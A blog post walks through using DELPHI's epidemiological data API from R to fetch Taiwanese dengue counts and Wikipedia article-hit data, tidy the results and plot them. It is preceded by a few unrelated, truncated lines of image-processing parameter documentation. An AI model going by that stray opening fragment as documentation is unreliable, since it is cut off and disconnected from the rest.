(int, default: 202, range: 0 - 255) Higher Bound of V~opening_mat_point
(int, default: 2, range: 1 - 7) Center of the matrix for the opening operation (size extrapolated 2x+1)~opening_iter
(int, default: 1, range: 0 - 10) Iterations of opening applied on the thresholded image~closing_mat_point
(int, default: 2, range: 1 - 7) Center of the matrix for the closing operation (size extrapolated 2x+1)~closing_iter
(int, default: 3, range: 0 - 10) Iterations of closing applied on the opened thresholded imagePlease report bugs and request features using the Issue Tracker.


by Nick
Posted on 01 September, 2016
This week I attended a workshop at the CDC about last year’s FluSight challenge, a competition that scores weekly real-time predictions about the course of the influenza season. They are planning another round this year and are hoping to increase the number of teams particiating.
At the workshop, I learned about DELPHI’s real-time epidemiological data API. The API is linked to various data sources on influenza and dengue, including US CDC flu data, Google Flu Trends, and Wikipedia data. There is some documentation and minimal examples, and this post documents a more robust and complete example for using the API via R. I’ll note that the CDC’s influenza data, can also be accessed via the cdcfluview
R package, which I’m not going to discuss here and I will focus here on accessing some of the other data sources. Here’s a teaser of this data that you can also interactively explore on the DELPHI EpiVis website:
Let’s start by loading the R script containing the relevant methods needed to access the API.
source("https://raw.githubusercontent.com/undefx/delphi-epidata/master/code/delphi_epidata.R")
Then, load in two packages that we will use to tidy and plot the data.
library(MMWRweek)
library(ggplot2)
Here is some code that pulls data from Taiwan’s NIDSS, specifically asking for nationwide data, and data from the central region. A complete list of regions and locations are available. Also, I’ve specified a range of weeks from the first week of 2010 (201001
) to the last week of 2016 (201653
).
res <- Epidata$nidss.dengue(locations = list('nationwide', 'central'),
epiweeks = list(Epidata$range(201001, 201653)))
The above command should pull data down into your current session, but it will be a little bit ‘list-y’, so here is some code I wrote to clean it up and make it a bit more of a workable dataset in R.
df <- data.frame(matrix(unlist(res$epidata), nrow=length(res$epidata), byrow=T))
colnames(df) <- names(res$epidata[[1]])[!is.null(res$epidata[[1]])]
df$count <- as.numeric(as.character(df$count))
df$year <- as.numeric(substr(df$epiweek, 0, 4))
df$week <- as.numeric(substr(df$epiweek, 5, 6))
df$date <- MMWRweek2Date(MMWRyear = df$year, MMWRweek = df$week)
Note the use of the MMWRweek2Date()
function that gives us a date column in our data frame. And here is a plot of the resulting data.
ggplot(df, aes(x=date, y=count, color=location)) + geom_point() + scale_y_log10()
Let’s try loading some of the Wikipedia data on influenza and other related terms. The article. I think this reflects the number of hits on pages of certain articles, although I’m not sure.
res <- Epidata$wiki(articles=list("influenza", "common_cold", "cough"),
epiweeks=list(Epidata$range(201101, 201553)))
df <- data.frame(matrix(unlist(res$epidata), nrow=length(res$epidata), byrow=T))
colnames(df) <- names(res$epidata[[1]])[!is.null(res$epidata[[1]])]
df$count <- as.numeric(as.character(df$count))
df$year <- as.numeric(substr(df$epiweek, 0, 4))
df$week <- as.numeric(substr(df$epiweek, 5, 6))
df$date <- MMWRweek2Date(MMWRyear = df$year, MMWRweek = df$week)
ggplot(df, aes(x=date, y=count, color=article)) +
geom_point() +
geom_smooth(span=.1, se=FALSE)
Happy data exploring!
UPDATE: (2 Sept 2016) Roni Rosenfeld, the head of the DELPHI group at CMU, pointed out and asked me to mention that David Farrow was the force behind the creation of the epidata API and the epivis tool.